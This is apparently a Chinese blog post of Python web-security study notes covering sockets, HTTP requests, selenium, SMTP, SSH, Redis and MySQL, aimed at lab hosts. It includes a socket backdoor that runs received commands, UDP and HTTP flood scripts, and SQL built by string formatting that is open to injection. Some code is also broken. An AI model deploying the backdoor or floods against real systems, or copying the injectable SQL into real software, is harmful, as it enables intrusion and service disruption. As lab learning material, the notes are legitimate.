python WEB安全

python WEB安全 通信协议

一、socket实现网络通信

1、socket实现通信

服务端代码

import socket

# 定义服务端通信函数
def server_socket():
    # 实例化对象
    s = socket.socket()

    # 绑定IP和端口
    # 绑定127.0.0.1只能本地访问;局域网无法访问,局域网访问需要局域网地址
    # 绑定0.0.0.0表示所有IP1均可访问
    s.bind(('0.0.0.0',9090))

    # 监听绑定的信息
    s.listen()

    # 拿到本次通道和客户端信息
    chanel, client = s.accept()
    while True:
        # 接受信息并限制通信内容大小
        receive = chanel.recv(40960)
        # 解码
        data = receive.decode()
        if data:
            print(f"接收信息为:>{data}")

            # 回复信息
            reply = input("请输入要回复的信息:>")
            chanel.send(reply.encode())
        else:
            chanel.close()
            s.close()
            
if __name__ == '__main__':
    server_socket()

客户端代码

import socket

# 定义客户端通信函数
def client_socket():
    # 实例化对象
    s = socket.socket()
    
    # 设置要连接对方(这里为服务端)的IP和端口
    s.connect(('192.168.202.137',9090))
    while True:
        message = input("输入信息:>")
        
        # 对发送信息进行编码并发送
        s.send(message.encode())
        
        # 接收信息
        receive = s.recv(40960)
        
        # 解码接收到的信息并打印
        print(f"服务器回复:>{receive.decode()}")
        
if __name__ == '__main__':
    client_socket()

2、socket实现木马

木马版的服务端代码

import socket,os

def trojan_attack():
    try:
        # 实例化对象
        s = socket.socket()

        # 绑定IP和端口
        # 绑定127.0.0.1只能本地访问;局域网无法访问,局域网访问需要局域网地址
        # 绑定0.0.0.0表示所有IP1均可访问
        s.bind(('0.0.0.0', 9090))

        # 监听绑定的信息
        s.listen()

        # 拿到本次通道和客户端信息
        chanel, client = s.accept()
        while True:
            # 接受信息并解码
            receive = chanel.recv(40960)
            data = receive.decode()

            # 制定特殊信息格式,表示执行命令;==##==,command
            # 判断字符串是不是以指定前缀开头,返回布尔值 True / False
            if data.startswith('==##=='):
                command = data.split(',')[-1]

                # 执行木马命令的核心代码
                reply = os.popen(command).read()
				# 返回命令响应结果
                chanel.send(f"命令响应的结果为:\n{reply}".encode())
            else:
                if data:
                    print(f"接收信息为:>{data}")

                    # 回复信息
                    reply = input("请输入要回复的信息:>")
                    chanel.send(reply.encode())
                else:
                    chanel.close()
                    s.close()
    except:
        chanel.close()
        s.close()
        # 服务器木马自调用
        trojan_attack()
        
 if __name__ =='__main__':
    trojan_attack()

客户端不变

3、socket实现对飞秋的DOS攻击

import socket
import time

# socket的DOS攻击的条件就是通过对开放的通信协议,进行自定义构建数据包,再大量发送该数据包耗尽服务端的流量资源或连接数量
# DOS攻击飞秋(无伪装、单线程)
def feiqiu_dos():
    while True:

        # 以UDP协议通信
        s = socket.socket(type=socket.SOCK_DGRAM)
        s.connect(('10.128.0.0',2425))

        # 利用wireshark抓包可知(需要抓包对通信软件的数据包格式有所了解)
        # feiqiu软件通信的协议格式为> 版本号:包编号:发送者姓名:发送者主机名:命令字段:附加信息

        # 1、生成包编号
        packetId = str(time.time())
        # 2、发送者姓名
        name = 'AN'
        # 3、发送者主机名
        host = "MyHostName"
        # 4、命令字段
        command = str(0x00000020)
        # 5、附加信息
        content = "This is the message from python."

        # 最终的数据格式为:> 版本号:包编号:发送者姓名:发送者主机名:命令字段:附加信息
        message = "1.0:"+packetId+":" + name + ":" + host + ":" + command + ":" +content

        # 这里攻击本质是建立多个连接资源使得被攻击者的资源耗尽;而不是在一个连接里进行发多个消息
        s.send(message.encode())
 
if __name__ == "__main__":
    feiqiu_dos()

二、requests库实现http协议层面(网站操作)

1、实现get请求并爬取页面内容

import requests

def req_get():
    # 简单的爬取页面前端源码
    url = "http://192.168.202.137/sqliLabs/Less-1/?id=1"
    # 发送get请求并保存返回值
    resp = requests.get(url=url)
    # 对保存值进行编码
    resp.encoding = "utf-8"
    # 打印保存值的文本
    print(resp.text)

def down_get():
    # 下载图片
    url = "https://192.168.202.137/sqliLabs/Less-1/?id=1"
    # verify=False表示对https的请求忽略证书
    resp = requests.get(url=url,verify=False)
    # 保存在文件中
    with open('./image/1.jpg',mode='wb') as file:
        file.write(resp.content)

if __name__ == "__main__":
    req_get()
    down_get()

2、实现post请求并上传内容

import requests

def data_post():
    # 简单的POST提交
    url = "http://192.168.202.137/sqliLabs/Less-11/"
    data = {'uname':'admin','passwd':'123qwe','submit':'Submit'}
    resp = requests.post(url=url,data=data)
    print(resp.text)
    print(resp.headers)
    if 'Login name' in resp.text:
        print("登录成功")
    else:
        print("登陆失败")

def file_post():
    # 文件上传(session维持权限)
    session = requests.session()
    url = 'http://192.168.202.137/uploadLabs/Pass-04/index.php'
    data = {"submit":"上传"}
    file ={"upload_file": open("./image/1.jpg",mode='rb')}
    resp = session.post(url=url,data=data,files=file)

if __name__ == "__main__":
    data_post()
    file_post()

3、实现多线程流量泛洪攻击

import time,requests,threading

# 实例化请求对象
session = requests.session()

# 装饰器,收集响应时间
def performance(func):
    def inner():
        start = time.time()
        func()
        end = time.time()
        print(f"请求:{func.__name__}的响应时间为:{round(end-start,4)}")
    return inner

# 访问首页
@performance
def home():
    url = 'http://192.168.202.137/sqliLabs/Less-11/'
    resp = session.get(url=url)
    if 'Username' in resp.text:
        print("首页访问成功")
    else:
        print('访问失败')

# 登录
@performance
def login():
    url = 'http://192.168.202.137/sqliLabs/Less-11/'
    data = {'uname':'admin','passwd':'123qwe','submit':'Submit'}
    resp = session.post(url=url,data=data)
    if "Your Login" in resp.text:
        print('登录成功')
    else:
        print('登录失败')


# 基于http协议的流量泛洪攻击
def www_flood():
    for i in range(10000):
        home()
        login()

if __name__ == '__main__':
    while True:
        threading.Thread(target=www_flood).start()

三、基于requests库实现爬虫

1、基于正则表达式对爬取数据进行处理

import re,requests,random
import time


def down_page(url):
        resp = requests.get(url=url)
        # 1、解析网页的超链接,正则表达式找页面中的a标签
        #   <a href=为左边界,"为右边界,(.+?)表示非贪婪模式(找最近的右边界)
        links = re.findall('<a href="(.+?)"',resp.text)
        # 对链接内容优化(去重)
        unique_links = list(dict.fromkeys(links))
        urls = []
        for link in unique_links:
            # 拼接出完整的url
            if link.startswith('/'):
                link = "http://192.168.202.137/sqliLabs"+link

            # 去掉非本网站链接
            if "192.168.202.137" not in link:
                continue
            urls.append(link)

            # 将页面HTML内容保存到本地文件
            resp = requests.get(link)
            resp.encoding = 'utf-8'
            filename = link.split('/')[-1]+time.strftime('%Y%m%d_%H%M%S')+'.html'
            with open(f'./page/{filename}',mode='w',encoding='utf-8') as file:
                file.write(resp.text)

         # 获取到新的链接后再接着爬取
         for url in urls:
            get_spider(url=url)


def down_image(url):
    resp = requests.get(url=url)
    # 爬出页面图片
    images_links = re.findall(r'<img[^>]+src=["\'](.*?)["\']', resp.text)
    print(images_links)
    for images_link in images_links:
        if images_link.startswich('/'):
            images_link = "http://192.168.202.137/sqliLabs" + images_link
        if "192.168.202.137" not in images_link:
            continue
        resp = requests.get(images_link)
        filename = time.strftime('%Y%m%d_%H%M%S') + images_link.split('/')[-1]
        with open(f'./image/{filename}',mode='wb') as file:
            file.write(resp.content)





if __name__ == '__main__':
    down_page(url="http://192.168.202.137/sqliLabs/")
    down_image(url="http://192.168.202.137/sqliLabs/")

2、基于BeautifulSoup库对页面元素操作

四、基于selenium库的DOM操作web页面(依靠chromedriver类型程序)

import time
from selenium.webdriver.chrome.service import Service
# 协议层面无法操作时(加密等情况),可考虑模拟界面的操作
# scapy处理更底层的(链路层)
# 要操作window元素,则使用uiautomation库;处理移动端用appium库
from selenium import webdriver
from selenium.webdriver.common.by import By

# 第一步打开程序出现页面

# 1、实例化webdriver对象,用于初始化浏览器操作
# 指定chromedriver(谷歌)或geckodriver(火狐)程序路径,或者将下载的程序放在py下的Scripts路径下
# service = Service(executable_path=r'E:\WangAn_gongju\14_Environment\python\python3.12.3\Scripts\chromedriver.exe')
# driver = webdriver.Chrome()
driver = webdriver.Firefox()
# 指定窗口最大化
# driver.maximize_window()

# 2、访问目标网站的页面地址
driver.get('http://192.168.202.137/sqliLabs/Less-20/')

# 以下可用于协议走不通时的界面爬虫
# 打印界面相关信息
# print(driver.title)
# print(driver.page_source)
# print(driver.get_cookies())
# 其他相关操作
# driver.refresh()
# driver.back()
# driver.forward()
time.sleep(5)


# 第二步找到操作界面的元素并对其模拟人的操作(方法一:基于元素特征进行识别。方法二:基于计算机图像识别和对比opencv)
# 方法一:基于元素特征进行识别
# 基于name选择
driver.find_element(By.NAME,'uname').send_keys('admin')
time.sleep(1)
# 基于CSS选择器选择(浏览器中可直接复制)
driver.find_element(By.CSS_SELECTOR,'body > div:nth-child(2) > div:nth-child(1) > form:nth-child(1) > div:nth-child(2) > input:nth-child(1)').send_keys('123qwe')
time.sleep(1)
# 基于XPath路径选择(浏览器中可直接复制)
driver.find_element(By.XPATH, '/html/body/div[2]/div/form/div[3]/input').click()


# 第三步对其操作后进行结果认证,确认是否成功
# 1、通过尝试对登录成功页面的元素发送东西来判断
# try:
#     driver.find_element(By.XPATH,"/html/body/center/font/font/center/form/input").send_keys('123qwe')
#     print('登录成功')
# except:
#     print('登录失败')

# 2、通过内容来判断
if 'Your Password:123qwe' in driver.page_source:
    print('登录成功')
else:
    print("登录失败")

# 第四步关闭driver
driver.close()

五、基于uiautomation库对window系统界面进行操作(依赖UISpy程序)

import time
import uiautomation as auto  # 推荐用 auto 作为别名,写起来短一点

time.sleep(5)

# 基于当前页面视觉实现的(界面看不到无法操作)
# 1. 获取计算器窗口(注意 W 大写)
calc = auto.WindowControl(Name='计算器')
# 补充:如果你发现找不到,可能是因为你的系统是英文的,可以改成 auto.WindowControl(Name='Calculator')
# 或者直接通过类名查找:auto.WindowControl(searchDepth=1, ClassName='ApplicationFrameWindow')

# 如果找不到窗口,可以加个判断避免程序继续运行报错
if not calc.Exists(1):
    print("未找到计算器窗口,请确认计算器已打开")
    exit()

# 2. 定位并点击按钮
# 使用 AutomationId 更稳定,不受系统语言影响
btnOne = calc.ButtonControl(AutomationId='num1Button')
btnOne.Click()

btnPlus = calc.ButtonControl(AutomationId='plusButton')
btnPlus.Click()

# 之前你用 Name="五" 是有风险的,改成 num5Button
btnFive = calc.ButtonControl(AutomationId='num5Button')
btnFive.Click()

# 之前用 Name="等于",改成 equalButton
btnEqual = calc.ButtonControl(AutomationId='equalButton')
btnEqual.Click()

六、Python实现SMTP协议的邮件通信

铭文传输

# 邮件协议:
# SMTP:发送邮件
# POP3、IMAP:收邮件,IMAP的实时性比POP3的实时性更强

# smtplib模块主要处理SMTP协议
import smtplib,time
# email模块主要处理邮件的头和正文等数据
# 处理二进制附件
from email.mime.application import MIMEApplication
# 充当邮件的“容器”,本身不存放具体内容,而是充当一个容器,用来声明“这封邮件由多个独立的部分组成”
from email.mime.multipart import MIMEMultipart
# 处理邮件的文字内容
from email.mime.text import MIMEText




# 定义发件人和收件人
sender = 'user1@sun.mail'
receiver = 'user2@sun.mail'
# 设置文本内容
title = 'Python测试邮箱'
test = '''
<div style='font-size: 30px;color: red;'><a href='www.baidu.com'>这是邮件的正文,点我有惊喜</a></div>
'''
# 设置邮件附件
filePath = './image/1.jpg'

# 设置邮件服务器信息
mailServer = '192.168.202.137'
mailPort = 25

# 设置邮件服务器登录账号信息
mailServerUsname = 'user1@sun.mail'
mailServerPasswd = '123qwe'




# 设置发送部分
# 实例化邮件主体对象
msg = MIMEMultipart()

# 邮件标题
msg['Subject'] = title

# 发件人
msg['From'] = sender

# 接收人
msg['To'] = receiver

# 发送内容
body = test

# 添加邮件附件
attachment = MIMEApplication(open(filePath,mode='rb').read())
filename = filePath.split('/')[-1]
# 1、对象:attachment (一个 MIMEApplication 实例,代表附件部分)。
#   方法:add_header(...)
#   参数1:'Content-Disposition' (HTTP/MIME 头部字段名)。
#   参数2:'attachment' (头部字段的值,表示这是一个附件,而非内联显示)。
#   参数3(关键字参数):filename=filename (附加参数,指定文件名)。
# 2、解释 Content-Disposition 的作用:
#   在 MIME 标准中,Content-Disposition 告诉邮件客户端(如 Outlook、Foxmail、网页邮箱)如何处理这个 MIME 部分。
#   主要值有两种:
#   inline:在邮件正文中直接显示(比如内嵌图片)。
#   attachment:作为附件下载,通常显示在邮件底部或附件栏。
attachment.add_header('Content-Disposition','attachment',filename=filename)
msg.attach(attachment)

# 实例化邮件内容对象
content = MIMEText(body,'html','utf-8')

# 将发送内容加载到文件主题中
msg.attach(content)




# 设置连接
# 建立服务器的连接并发送邮件
# 实例化连接对象
smtpObj = smtplib.SMTP() # 若基于SSL则smtplib.SMTP_SSL()
# 设置邮件服务器主机地址和SMTP端口

smtpObj.connect(mailServer,mailPort)

# 设置邮件登录账号和密码
smtpObj.login(user=mailServerUsname,password=mailServerPasswd)

# 发送邮件
smtpObj.sendmail(sender,receiver,str(msg))

# 关闭连接对象
smtpObj.quit()

SMTP明文一次通信的流量层面数据包

image-20261102170702256

SSL的密文传输

以qq邮箱为例

# 邮件协议(都是铭文传输):
# SMTP:发送邮件
# POP3、IMAP:收邮件,IMAP的实时性比POP3的实时性更强

# smtplib模块主要处理SMTP协议
import smtplib,time
# email模块主要处理邮件的头和正文等数据
# 处理二进制附件
from email.mime.application import MIMEApplication
# 充当邮件的“容器”,本身不存放具体内容,而是充当一个容器,用来声明“这封邮件由多个独立的部分组成”
from email.mime.multipart import MIMEMultipart
# 处理邮件的文字内容
from email.mime.text import MIMEText




# 定义发件人和收件人
sender = ''
receiver = ''
# 设置文本内容
title = 'Python测试邮箱'
test = '''
<div style='font-size: 30px;color: red;'><a href='www.baidu.com'>这是邮件的正文,点我有惊喜</a></div>
'''
# 设置邮件附件
filePath = './image/1.jpg'

# 设置邮件服务器信息
mailServer = 'smtp.qq.com'
mailPort = 465

# 设置邮件服务器登录账号信息
mailServerUsname = ''
mailServerPasswd = '' # 注意这里为授权码




# 设置发送部分
# 实例化邮件主体对象
msg = MIMEMultipart()

# 邮件标题
msg['Subject'] = title

# 发件人
msg['From'] = sender

# 接收人
msg['To'] = receiver

# 发送内容
body = test

# 添加邮件附件
attachment = MIMEApplication(open(filePath,mode='rb').read())
filename = filePath.split('/')[-1]
# 1、对象:attachment (一个 MIMEApplication 实例,代表附件部分)。
#   方法:add_header(...)
#   参数1:'Content-Disposition' (HTTP/MIME 头部字段名)。
#   参数2:'attachment' (头部字段的值,表示这是一个附件,而非内联显示)。
#   参数3(关键字参数):filename=filename (附加参数,指定文件名)。
# 2、解释 Content-Disposition 的作用:
#   在 MIME 标准中,Content-Disposition 告诉邮件客户端(如 Outlook、Foxmail、网页邮箱)如何处理这个 MIME 部分。
#   主要值有两种:
#   inline:在邮件正文中直接显示(比如内嵌图片)。
#   attachment:作为附件下载,通常显示在邮件底部或附件栏。
attachment.add_header('Content-Disposition','attachment',filename=filename)
msg.attach(attachment)

# 实例化邮件内容对象
content = MIMEText(body,'html','utf-8')

# 将发送内容加载到文件主题中
msg.attach(content)




# 设置连接(注意qq服务器不支持连续不停发送,若要发送多封,建议每一封之间间隔一定时间)
# 建立服务器的连接并发送邮件
# 实例化连接对象
smtpObj = smtplib.SMTP_SSL(mailServer,mailPort)
# 设置邮件服务器主机地址和SMTP端口
smtpObj.connect(mailServer,mailPort)

# 设置邮件登录账号和密码
smtpObj.login(user=mailServerUsname,password=mailServerPasswd)

# 发送邮件
smtpObj.sendmail(sender,receiver,str(msg))

# 关闭连接对象
smtpObj.quit()

七、python实现ssh协议连接

import paramiko

# 设置服务端地址和端口
ipServer = '192.168.202.128'
ipPort = 22

# 1. 建立底层 transport
transport = paramiko.Transport((ipServer, ipPort))
transport.connect(username='kali', password='123qwe')

# 2. 用 transport 创建 SSHClient 形式的通道(用 open_session 执行命令)
ssh = paramiko.SSHClient()
ssh._transport = transport

# 3. 执行命令(exec_command 属于 SSHClient)
stdin, stdout, stderr = ssh.exec_command('ls /home/kali')
print(stdout.read().decode())
print(stderr.read().decode())

# 4. 如果还要传文件,用 transport 单独开一个 SFTP 通道
sftp = paramiko.SFTPClient.from_transport(transport)
sftp.put('localFilePath', 'serverFilePath')
sftp.get('serverFilePath', 'localFilePath')

# 5. 关闭连接
transport.close()

八、python实现Redis通信

Redis的前提配置条件:

# 在/etc/redis/redis.conf文件中修改以下配置
1、这表示允许监听所有可用的网络接口,从而接受外部连接
# 从这里改成
bind 127.0.0.1 -::1
# 改成这里
bind 0.0.0.0

2、配置redis服务端密码登录
# 这里改成
# requirepass foobared
# 改成这里
requirepass yourPasswd

3、确认受保护模式
# 这里改成
protected-mode
# 改成这里
protected-mode yes

# 重启服务端
systemctl restart redis-server

1、基于socket库实现

import socket
# 实例化socket对象
s=socket.socket()
# 配置连接地址和端口
s.connect(('192.168.202.128',6379))

# 发送特定数据格式的数据(对于明文传输的协议而言,通过wireshark抓包研究协议交流的格式)
# 这里*2表示有两个数据部分
# $4表示下面这个数据的长度为4个
# $6表示下面这个数据的长度为6个
s.send('*2\r\n$4\r\nauth\r\n$6\r\n123qwe\r\n'.encode())

# 查看返回数据
reply = s.recv(1024)
# 打印返回数据
print(reply.decode())

2、基于Redis库实现

import redis
# 实例化redis连接对象
red = redis.Redis(host='192.168.202.128',port=6379,password='123qwe',db=0)
# 执行redis方法(方法名称和redis数据库语法一致)
red.set('name','sjs')
print(red.get('name').decode())

九、python基于pymysql库对mysql远程连接

数据库连接并实现注册功能

# 数据库操作
# 1、建立数据库连接
# 2、执行SQL语句
# 3、关闭数据库连接
import pymysql
from pymysql.cursors import DictCursor


def MySelect(username):
    try:
        # 建立连接对象
        conn = pymysql.connect(host='192.168.202.137', user='root', password='123qwe', database='security',charset='utf8', autocommit=True)
        # 定义游标对象(游标对象执行SQL语句,并非连接对象执行SQL);DictCursor指定游标返回查询结果的类型为字典,需要额外导包,未指定时默认为二维元组
        cursor = conn.cursor(DictCursor)

        # 构造sql执行语句
        sql = "select * from users where username = '%s'"% username
        # 执行SQL语句
        cursor.execute(sql)
        # 获取结果集fetchall;
        result = cursor.fetchall()
        cursor.close()
        conn.close()
        return result
    except:
        raise Exception("数据库处理出错")
    finally:
        conn.close()
def MyUpdate(username,password):
    try:
        # 建立连接对象
        conn = pymysql.connect(host='192.168.202.137', user='root', password='123qwe', database='security',charset='utf8', autocommit=True)
        # 定义游标对象(游标对象执行SQL语句,并非连接对象执行SQL);DictCursor指定游标返回查询结果的类型为字典,需要额外导包,未指定时默认为二维元组
        cursor = conn.cursor(DictCursor)
        # 构造SQL语句
        sql = "update users set password='%s' where password='%s'"%(password,username)
        # 执行SQL语句
        cursor.execute(sql)
        # 所有更新操作必须确认提交;方式有两种:一种是在建立连接时设置autocommit,另一种是调用连接的commit方法显式提交
        conn.commit()
        # 事务回滚
        # conn.rollback()
    except Exception as e:
        print(e)
        raise Exception("数据库处理出错")
    finally:
        cursor.close()
        conn.close()

def MyInsert(username,password):
    try:
        # 建立连接对象
        conn = pymysql.connect(host='192.168.202.137', user='root', password='123qwe', database='security',charset='utf8', autocommit=True)
        # 定义游标对象(游标对象执行SQL语句,并非连接对象执行SQL);DictCursor指定游标返回查询结果的类型为字典,需要额外导包,未指定时默认为二维元组
        cursor = conn.cursor(DictCursor)
        sql = "insert into users(username,password) values('%s','%s')"%(username,password)
        cursor.execute(sql)
        conn.commit()
    except Exception as e:
        print(e)
        raise Exception("数据库处理出错")
    finally:
        cursor.close()
        conn.close()

# 注册功能
def doReg():
    username = input("请输入用户名:>")
    result = MySelect(username)
    if len(result):
        print("用户存在,请重新输入")
        doReg()
    else:
        password = input("请输入密码:>")
        MyInsert(username,password)
    return True


def doChallage():
    username = input("请输入用户名:>")
    result = MySelect(username)
    if len(result) == 0:
        print('用户不存在')
        doChallage()
    else:
        password = input("请输入新密码:>")
        MyUpdate(username,password)
    return True
    
if __name__ == '__main__':
    username = 'admin'
    MySelect(username)

十、面向对象编程

import pymysql
from pymysql.cursors import DictCursor

class DB:
    # 构造方法(实例化对象后自动执行)
    def __init__(self,host='192.168.202.137',user='root',password='123qwe',database='security',charset='utf8',type='default'):
        self.conn = pymysql.connect(host=host,user=user,password=password,database=database,charset=charset)
        self.cursor = None
        if type =='default':
            self.cursor = self.conn.cursor()
        elif type =='dict':
            self.cursor = self.conn.cursor(DictCursor)
        else:
            raise Exception('参数type的值不正确,只能为default或dict.')

    def query(self,sql):
        self.cursor.execute(sql)
        result = self.cursor.fetchall()
        return result

    def update(self,sql):
        try:
            self.cursor.execute(sql)
            self.conn.commit()
            print('执行更新操作成功.')
        except:
           print('执行更新操作出现异常,请确认.')

    # 析构方法(监控到实例化的对象没有调用或程序执行完成后,释放空间)
    def __del__(self):
        self.conn.close()

if __name__ == '__main__':
    db = DB()
    print(db.query('select * from users'))
posted @ 2026-10-29 19:08  新手打怪兽  阅读(17)  评论(0)    收藏  举报